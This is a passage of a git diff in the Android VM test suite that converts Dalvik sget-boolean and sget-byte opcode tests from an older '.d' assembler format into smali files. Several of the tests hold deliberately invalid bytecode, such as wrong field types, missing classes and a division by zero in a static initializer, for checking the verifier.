-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_7.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_7no_class.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali
new file mode 100644
index 0000000..0c728bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_7.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_7no_class;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.d
deleted file mode 100644
index 04c780c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_8.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_8.i1N Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali
new file mode 100644
index 0000000..db82b1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_8.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_8;->i1N:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d
deleted file mode 100644
index 0cf9a87..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget_boolean.d.StubInitError
-.super java/lang/Object
-
-.field public static value Z
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 1
-       div-int/2addr v1, v0
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sget_boolean.d.StubInitError.value Z
-       return-void
-.end method
-
-
-.source T_sget_boolean_9.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.StubInitError.value Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..cd1f652
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_boolean/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:Z
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-boolean v1, Ldot/junit/opcodes/sget_boolean/d/StubInitError;->value:Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/T_sget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/T_sget_boolean_9.smali
new file mode 100644
index 0000000..73643e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_9.smalis/T_sget_boolean_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_9;
+.super Ljava/lang/Object;
+.source "T_sget_boolean_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 3
+
+    sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/StubInitError;->value:Z
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.d
deleted file mode 100644
index 314c2b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_1.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_1
-.super java/lang/Object
-
-.field public static i1 B
-.field protected static p1 B
-.field private static pvt1 B
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 77
-       sput-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.i1 B
-
-       const v0, 77
-       sput-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.p1 B
-
-       const v0, 77
-       sput-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.pvt1 B
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali
new file mode 100644
index 0000000..96373d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_1.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+.field protected static p1:B
+.field private static pvt1:B
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->i1:B
+
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->p1:B
+
+       const v0, 77
+       sput-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->pvt1:B
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.d
deleted file mode 100644
index 2c6fb91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_11.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_11
-.super dot/junit/opcodes/sget_byte/d/T_sget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_byte/d/T_sget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.p1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali
new file mode 100644
index 0000000..e955f5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_11.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_11;
+.super  Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->p1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.d
deleted file mode 100644
index f2be588..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_12.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_12
-.super dot/junit/opcodes/sget_byte/d/T_sget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_byte/d/T_sget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.pvt1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali
new file mode 100644
index 0000000..bd11f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_12.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_12;
+.super  Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->pvt1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.d
deleted file mode 100644
index 8da3d7a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_13.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_13.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali
new file mode 100644
index 0000000..1b4dd31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_13.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_13;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d
deleted file mode 100644
index d64eedc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_14.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_14
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.smali
new file mode 100644
index 0000000..19dc587
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_14;
+.super Ljava/lang/Object;
+.source "T_sget_byte_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.d
deleted file mode 100644
index 7c02a3b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_15.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali
new file mode 100644
index 0000000..6db0a4e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_15.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.d
deleted file mode 100644
index 09e1280..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_16.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali
new file mode 100644
index 0000000..b1a0287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_16.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.d
deleted file mode 100644
index 41d95fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_17.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_17.i1 C
-       return-void
-.end method
-
-
